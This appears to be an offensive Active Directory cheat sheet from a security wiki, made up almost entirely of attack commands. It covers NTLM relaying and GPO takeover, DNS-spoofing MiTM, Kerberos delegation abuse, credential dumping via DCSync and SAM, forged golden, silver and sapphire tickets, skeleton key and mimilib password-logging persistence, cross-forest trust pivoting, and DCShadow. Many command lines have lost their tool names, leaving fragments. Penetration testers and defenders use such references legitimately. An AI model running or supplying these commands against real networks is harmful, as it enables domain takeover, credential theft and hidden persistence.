#Create a new computer account through LDAP with StartTLS and enabled RBCD -t ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Doesn't create a new computer account and use an existing one -t ldap://dc_IP --escalate-user <controlled_computer> --delegate-access --no-dump --no-da --no-acl -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
#Attempts to open a socks and write loot likes dumps into a file -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks

Attack GPO from an unauthenticated point of view (by intercepting a NTLM authentication) cannot be performed only through LDAP, since the Group Policy Template needs to be modified via SMB. Read this article to better understand.

First, use ntlmrelayx to obtain full rights on the GPC via LDAP for a controlled account (or create a new one)

ntlmrelayx -t 'ldaps://<DC_IP>' -wh '<attacker_IP>:8080' --http-port '80,8080' -i

#When relay is successful, use nc to obtain a LDAP shell
nc 11000
add_computer ATTACKER Password123
write_gpo_dacl ATTACKER$ {<GPO_ID>}

Then, modify the GPO with the controlled account

python3 --gpo-id '<GPO_ID>' --domain 'domain.local' --username 'ATTACKER$' --password 'Password123' --command '<command_to_execute>' --rogue-smbserver-ip '<attacker_IP>' --rogue-smbserver-share 'evil'


To relay authentication from a mitm6 DNS spoofing to ADCS: --target http://CA.domain.local/certsrv -ip <attacker_IP> --victim target.domain.local --adcs --template Machine


A tool to perform DNS updates thanks to the ZONE_UPDATE_UNSECURE flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the AP_REQ packets on the fly to reuse them.

The port list is really important and must match all the open ports on the target to perform all thge forward. If not, a DOS will occure since clients will not be able to reach the services.

krbjack --target-name <target> --domain domain.local --dc-ip <DC_IP> --ports <port1,port2,port3,...> --executable <executable.exe>
krbjack --target-name <target> --domain domain.local --dc-ip <DC_IP> -t <target_IP> -smb2support

Kerberos Delegations

Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal.

There are two main types of delegation:

Unconstrained delegation

Enumerate principals with Unconstrained Delegation

Works for computers and users -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust -target-domain <target_domain> domain.local/user1:password

Unconstrained Delegation attack

If we have enough rights against a principal (computer or user) in UD to add a SPN on it and know its password, we can try to use it to retrieve a machine account password from an authentication coercion.

Since the principal is in Unconstrained Delegation, when the machine account will send the ST to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS record, we can retrieve the TGS, decipher the ciphered part with the user password (the SPN is setup on the user, so the TGS is ciphered with his password), and retrieve the TGT.

#Add the SPN
python3 -u 'domain.local\user1' -p 'password' -s 'HOST/attacker.domain.local' -t 'target.domain.local' --additional <DC_IP>

#Create the DNS record
python3 -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '<attacker_IP>' --action add <DC_IP>

#Run krbrelayx with the hash of the password of the principal
python3 -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local

#Trigger the coercion
./ -u user1 -p password -d domain.local -pipe all "attacker.domain.local" <target_IP>

Constrained delegation

In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

Enumerate users and computers with CD enabled -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust -target-domain <target_domain> domain.local/user1:password

With protocol transition

Any service can be specified on the target since it is not correctly checked. -spn 'cifs/target.domain.local' -impersonate administrator -hashes ':<computer_NThash>' -dc-ip <DC_IP> domain.local/computer
export KRB5CCNAME=./Administrator.ccache

Without protocol transition

In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section.

Resource-based constrained delegation

Wagging the Dog

With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really usefull in NTLM relay attack scenario).


Enumerate users and computers with RBCD enabled -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust -target-domain <target_domain> domain.local/user1:password

#Check the attribute on an account -action read -delegate-to ServiceB$ domain.local/user1:password

Standard RBCD

The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on ServiceB.

#Add RBCD from ServiceA to ServiceB -action write -delegate-from ServiceA$ -delegate-to ServiceB$ domain.local/user1:password

#Verify property -action read -delegate-to ServiceB$ domain.local/user1:password

#Get ServiceA TGT and then S4U -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$
export KRB5CCNAME=./Administrator.ccache

With machine account creation -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domain.local 'domain.local/user1:password' -action write -delegate-from ControlledComputer$ -delegate-to ServiceB$ domain.local/ControlledComputer$:ComputerPassword -spn 'cifs/serviceB.domain.local' -impersonate administrator -dc-ip <DC_IP> domain.local/ControlledComputer$:ComputerPassword
export KRB5CCNAME=./Administrator.ccache

Skip S4USelf

NOT TESTED IN MY LAB WITH IMPACKET -spn 'cifs/serviceB.domain.local' -additional-ticket ./ticket.ccache -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$

Reflective RBCD

With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, and run a full S4U to access to access the machine on behalf of another user. -action write -delegate-from ServiceA$ -delegate-to ServiceA$ -k -no-pass domain.local/ServiceA$ -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip <DC_IP> domain.local/ServiceA$

Impersonate protected user via S4USelf request

It is possible to impersonate a protected user with the S4USelf request if we have a TGT (or the creds) of the target machine (for example from an Unconstrained Delegation).

With the target TGT it is possible to realise a S4USelf request for any user and obtain a TGS for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the TGS is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid TGS for the target service with a sensitive user (and the TGS PAC is well signed by the KDC). -self -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip <DC_IP> domain.local/ServiceA$

Bypass Constrained Delegation restrictions with RBCD

#RBCD from A to B -action write -delegate-from ServiceA$ -delegate-to ServiceB$ -hashes ':<ServiceA_NThash>' domain.local/ServiceA$ -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$

#S4UProxy from B to C with the obtained TGS as evidence -spn 'cifs/serviceC.domain.local' -additional-ticket ./administrator.ccache -hashes ':<ServiceB_NThash>' -dc-ip <DC_IP> domain.local/ServiceB$

U2U RBCD with SPN-less accounts

In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but ms-ds-machineaccountquota equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here. -hashes :$(pypykatz crypto nt 'password') 'domain.local'/'user1' 'user1.ccache' | grep 'Ticket Session Key' -newhashes :sessionKey 'domain.local'/'user1':'password'@'DC'
KRB5CCNAME='user1.ccache' -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/target.domain.local" 'domain.loca'/'user1'

RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the xp_dirtree in order to leak the Net-NTLM hash of the machine account. Additionally, the Web Service client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to @80):

#Add the DNS
python3 -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '<attacker_IP>' --action add <DC_IP>

#On our machine, waiting for the leak
python domain.local 'target$' <controlledAccountWithASPN>

#ON the MSSQL server
SQLCMD -S <MSSQL_instance> -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin

#After the attack, ask for a TGS with full S4U -spn cifs/target.domain.local -impersonate admininistrator -dc-ip <DC_IP> domain.local/<controlledAccountWithASPN>password

Domain Persistence

Sapphire ticket

Similar to Diamond Ticket, but instead of decipher, modify, recipher and resign the PAC on the fly, this technique inject a fully new one PAC obtained via a S4USelf + U2U attack in the requested ticket. Full explains here. -request -impersonate 'Administrator' -domain 'domain.local' -user 'user1' -password 'password' -aesKey 'krbtgt_AES_key' -domain-sid '<domain_SID>' 'blabla'

Diamond ticket

Blog here

For the moment, the approach is not really attractive and the Sapphire Ticket attack is preferable, or use Rubeus on Windows.

Golden ticket

Dump krbtgt hash with DCSync -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/administrator:password@<DC>

Create TGT -domain domain.local -domain-sid <domain_SID> -nthash <krbtgt_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>

Silver ticket -domain domain.local -domain-sid <domain_SID> -spn 'cifs/target' -nthash <account_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>

Skeleton key

crackmapexec smb <DC_IP> -u 'Administrator' -p 'password' -M mimikatz -o COMMAND='misc::skeleton'

Now, it is possible to access any machine with a valid username and password as "mimikatz"


Dump DSRM password

crackmapexec smb <DC_IP> -u user1 -p password --sam

Change registry configuration

Need to change the logon behavior before pass the hash -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'DsrmAdminLogonBehavior' -vd 2 -vt REG_DWORD

Now the DSRM hash ca be used to authenticate

Custom SSP

SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine.

crackmapexec smb <target> -u user1 -p password -M mimikatz -o COMMAND='misc::memssp'

Upload the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages :

#Retrieve the actual values of Security Package -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local query -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -s

#Append mimilib to the previous list -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -vd "<list> mimilib" -vt REG_MULTI_SZ

DACLs - AdminSDHolder

AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour.

Attack -action write -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'administrator':'password'

Check Domain Admin ACLs -action read -target "Domain Admins" -principal user1 -dc-ip <DC_IP> domain.local/user1:password

DACLs - Interesting rights

The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the On any objects in the ACLs attacks section.

Cross-Trust Movement

Attacks against trusts are generally more efficient from a Windows machine with Mimikatz and Rubeus.

Child to parent domain

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the Enterprise Admins group in the SID history field.

#The new Golden Ticket will be written at the path specified in -w -w ./ticket.ccache child.domain.local/Administrator:password

#Dump the Administrator's hash of the root domain child.domain.local/Administrator:password

#PSEXEC on a machine -target-exec <target> child.domain.local/Administrator:password

Across forest

SID History attacks

If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an RID > 1000 must be indicated. -just-dc-user '<current_forest/target_forest$>' domain.local/Administrator:password@<DC> doesn't work really well with inter-realm TGT, it's preferable to use Mimikatz for this one.

#Referral ticket -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID>-<RID> -aesKey <aes_trust_key> -spn "krbtgt/targetDomain.local" <target_user>

#Inter-realm Golden Ticket -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID>-<RID> -nthash <krbtgt_hash> <target_user>

export KRB5CCNAME=./ticket.ccache -k -no-pass -spn CIFS/dc.targetDomain.local -dc-ip <target_DC_IP> targetDomain.local/user
#These SIDs are members of the target domain
ldeep ldap -u user1 -p password -d domain.local -s <target_LDAP_server_IP> search '(objectclass=foreignSecurityPrincipal)' | jq '.[].objectSid'

#The found SIDs can be search in the current forest
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search '(objectSid=<object_SID>)'

Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges.

TGT delegation

By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications).

If TGT delegation is enabled in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is disabled, the TGT will not be added in the ST, even with the Unconstrained Delegation.

Additionally, Selective Authentication must not be enabled on the trust, and a two ways trust is needed.

How to exploit an Unconstrained Delegation.

Transit across non-transitive trusts

WARNING ! For the moment, this attack has not been tested on Linux with Impacket but only with Rubeus from a Windows machine. The following commands are here for information purpose only and probably need some adjustments. I recommend you to perform this attack with Rubeus (look at the Active Directory cheatsheet).

If a non-transitive trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on External Trusts for example.

However, there is a way to make non-transitive trusts transitive. Full explains here.

For this example, there is an External Trust between domains A and B (which are in different forests), there is a Within Forest trust between domains B and C (which are in the same forest), and a Parent-child trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since External Trusts are non-transitive. -dc-ip <DC_A_IP> domainA.local/userA:password
export KRB5CCNAME=./userA.ccache -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_A_IP> domainA.local/userA -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_B_IP> domainA.local/userA -k -no-pass -spn "krbtgt/domainC.local" -dc-ip <DC_B_IP> domainA.local/userA

This referral for domain C can be, in turn, used to access domain D with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest.

However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with domain D. For example, if domain D has an External Trust with domain E in a third forest, it will be not possible to access domain E from A.

A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E. -k -no-pass -spn "ldap/dc.domainD.local" -dc-ip <DC_D_IP> domainA.local/userA -k -no-pass -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domainD.local domainA.local/userA
#Then, ask for a TGT and replay the attack against domain E

Across forest - PAM trust

The goal is to compromise the bastion forest and pivot to the production forest to access to all the resources with a Shadow Security Principal mapped to a high privs group.

Check if the current forest is a bastion forest

Enumerate trust properties

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

Enumerate shadow security principals

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search '(distinguishedName=*Shadow Principal Configuration*)' |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'

Check if the current forest is managed by a bastion forest

ForestTransitive must be true

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

A trust attribute of 1096 is for PAM (0x00000400) + External Trust (0x00000040) + Forest Transitive (0x00000008).

Get the shadow security principals

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> object "Shadow Principal Configuration" -v |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'

These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with SIDHistory injection since SIDFiltering in a PAM Trust.

Forest Persistence - DCShadow


The attack needs 2 instances on the compromised machine.

crackmapexec smb <target> -u Administrator -p password -M mimikatz -o COMMAND='"token::elevate" "privilege::debug" "lsadump::dcshadow /object:<object_to_modify> /attribute:<attribute_to_modify> /value=<value_to_set>"'
crackmapexec smb <target> -u Administrator -p password -M mimikatz -o COMMAND='lsadump::dcshadow /push' --server-port 8080

Set interesting attributes

Set SIDHistory to Enterprise Admin

lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519

Modify primaryGroupID

lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519

Set a SPN on an user

lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1"


Revision #20
Created 22 June 2022 15:46:48 by BlackWasp
Updated 26 September 2023 22:03:51 by BlackWasp